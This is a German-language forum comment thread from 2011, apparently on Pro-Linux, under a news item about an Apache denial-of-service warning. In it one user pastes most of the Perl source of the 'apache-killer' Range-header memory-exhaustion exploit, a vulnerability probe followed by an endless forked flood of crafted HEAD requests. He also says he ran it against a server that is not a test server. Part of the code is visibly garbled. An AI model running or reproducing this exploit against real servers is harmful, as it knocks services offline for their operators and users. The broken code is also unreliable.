Login
Newsletter
Werbung

Thema: Apache warnt vor möglichen DoS-Angriffen

4 Kommentar(e) || Alle anzeigen ||  RSS
Kommentare von Lesern spiegeln nicht unbedingt die Meinung der Redaktion wider.
0
Von BuBuMacher am Fr, 26. August 2011 um 10:43 #

Ich habe das versucht:

perl apache-killer.pl fqdn 80

Ich muß mal die IP ausprobieren.

Und nein, das ist kein Testserver.
Sonst brauche ich das ja nicht testen...

[
| Versenden | Drucken ]
  • 0
    Von BuBuMacher am Fr, 26. August 2011 um 10:46 #

    Ach ja.

    Und Auwirkungen hatte das Skript schon.
    Es wurden viele Prozesse erzeugt.
    Man kam aber immer noch auf die Seiten.
    Nur Zerissen hat das den Server eben nicht.

    [
    | Versenden | Drucken ]
    • 0
      Von BuBuMacher am Fr, 26. August 2011 um 11:20 #

      Gerade auf einem Testserver ausprobiert:

      perl apache-killer.pl localhost 80

      Nüscht. Zwar reichlich httpd - Prozesse, aber der Rechner
      bleibt geschmeidig.

      Gibt es verschiedene Skripte?

      #!/usr/bin/perl

      use IO::Socket;
      use Parallel::ForkManager;

      sub usage {
      print "Apache Remote Denial of Service (memory exhaustion)\n";
      print "by Kingcope, modified by Christian Horvat\n";
      print "usage: perl killapache.pl [numforks]\n";
      print "example: perl killapache.pl www.example.com/foo/bar.php 100\n";
      }

      sub killapache {

      print "### ATTACKING $ARGV[0] [using $numforks forks]\n";

      $pm = new Parallel::ForkManager($numforks);

      $|=1;
      srand(time());
      $p = "";
      for ($k=0;$knew(PeerAddr => $host,
      PeerPort => "80",
      Proto => 'tcp');

      $p = "HEAD /$dir HTTP/1.1\r\nHost: $host\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
      print $sock $p;

      while( ) {
      }
      $pm->finish;
      }
      $pm->wait_all_children;
      print ":pPpPpppPpPPppPpppPp (pistol gun sounds)\n";
      }


      sub testapache {

      my ($host,$dir)=split(/\//,$ARGV[0]);
      my $sock = IO::Socket::INET->new(PeerAddr => $host,
      PeerPort => "80",
      Proto => 'tcp');

      $p = "HEAD /$dir HTTP/1.1\r\nHost: $host\r\nRange:bytes=0-100\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";

      print "\r\n### Request ###\r\n".$p."\r\n";

      print $sock $p;

      $x = ;

      print "### returned Status Code -> ".$x."\r\n";


      if ($x =~ /Partial/) {
      print "### Host seems vulnable! -> ".$ARGV[0]."\n\n";
      return 1;
      } else {
      return 0;
      }
      }

      if ($#ARGV 1) {

      if ($#ARGV > 0) {
      $numforks = $ARGV[1];
      } else {$numforks = 100;}

      $v = testapache();
      if ($v == 0) {
      print "### Host does not seem vulnerable. Or Redirect. Or File not found. Or Bad Request.\n### Exit.\n";
      exit;
      }

      while(1) {
      killapache();
      }

      [
      | Versenden | Drucken ]
      • 0
        Von Verdammt am Sa, 3. September 2011 um 02:34 #

        Na dann nimm doch mal das von Golem.de und lass es auf ein ECHTES DOKUMENT los, viel Spass meine Kiste ist mir sofort verreckt dass nichtmal abbrechen möglich war - Die Workstation im Büro hat binnen 3-4 Sekunden 5 GB RAM gefressen, nachdem da 16 drinnen stecken gerade noch Abbruch möglich

        [
        | Versenden | Drucken ]
Pro-Linux
Pro-Linux @Facebook
Neue Nachrichten
Werbung